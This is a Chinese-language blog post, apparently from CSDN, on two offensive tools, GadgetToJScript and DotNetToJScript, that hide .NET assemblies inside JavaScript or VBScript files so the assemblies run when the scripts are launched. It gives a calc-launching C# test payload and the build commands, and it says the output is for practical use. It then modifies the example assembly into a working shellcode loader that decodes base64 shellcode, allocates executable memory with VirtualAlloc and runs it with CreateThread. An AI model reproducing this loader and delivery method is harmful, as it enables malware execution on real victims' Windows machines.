分享两个基于.NET场景下转换脚本的工具

0x01 GadgetToJscript

GadgetToJScript 是一款强大的工具,它可以将.NET程序集巧妙地嵌入到 JavaScript 或 VBScript 文件中,当运行JS或者VBS脚本时会执行.NET反序列化操作,从而触发.NET程序集的加载和执行。

34c506b681bbb55127db619d6f6c6088.png

工具使用

下载项目到本地后首先需要移除测试的TestPayload项目,因为缺少默认的文件导致编译项目失败,编译获得GadgetToJScript.exe,直接运行可看到详细的使用说明,如下图所示

4faf9e70cb0d1f7f1a20305d2ce8dce7.png

可以看到参数-i,需要导入外部的cs文件,因此我们准备了一个启动本地计算器的C#代码文件Program.cs,具体代码如下

namespace TestAssembly


{


    public class Program


    {


        public Program()


        {


            System.Diagnostics.Process.Start("cmd.exe","/c calc");


        }


    }


}

打开cmd运行命令:GadgetToJScript.exe -w js -o test -i Program.cs,GadgetToJScript 将会将Program.cs编译后嵌入到test.js文件中,从而创建一个用于触发.NET程序集加载的js脚本文件,最后实战中使用cscript.exe test.js命令触发执行,如下图所示

879038b30df2b360dba62bdacefc1776.png

0x02 DotNetToJscript

Google Zero安全团队的研究员James发布了一款很棒的工具DotNetToJScript,和工具GadgetToJScript 一样,它可以将.NET程序集巧妙地嵌入到 JavaScript 或 VBScript 文件中,当运行JS或者VBS脚本时会执行.NET反序列化操作,从而触发.NET程序集的加载和执行。

工具包含的ExampleAssembly.dll文件,反编译后发现只包含了一个概念性验证的MessageBox弹窗效果,并没有实战可用的攻击代码,因此我们改造成通过加载外部的shellcode执行命令,具体代码如下

public TestClass()
  {
    byte[] array = Convert.FromBase64String(File.ReadAllText("shellcode2base64.txt"));
    IntPtr intPtr = TestClass.VirtualAlloc(0U, (uint)array.Length, 4096U, 64U);
    Marshal.Copy(array, 0, intPtr, array.Length);
    IntPtr zero = IntPtr.Zero;
    uint num = 0U;
    IntPtr zero2 = IntPtr.Zero;
    TestClass.WaitForSingleObject(TestClass.CreateThread(0U, 0U, intPtr, zero2, 0U, ref num), uint.MaxValue);
  }

运行命令:DotNetToJScript.exe -l vbscript -o 6.vbs ExampleAssembly.dll,生成一个vbs脚本文件6.vbs,默认双击打开或者执行命令cscript 6.vbs,如下图所示

0da3a8b685aa7597aea1cc5dff65669d.png


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值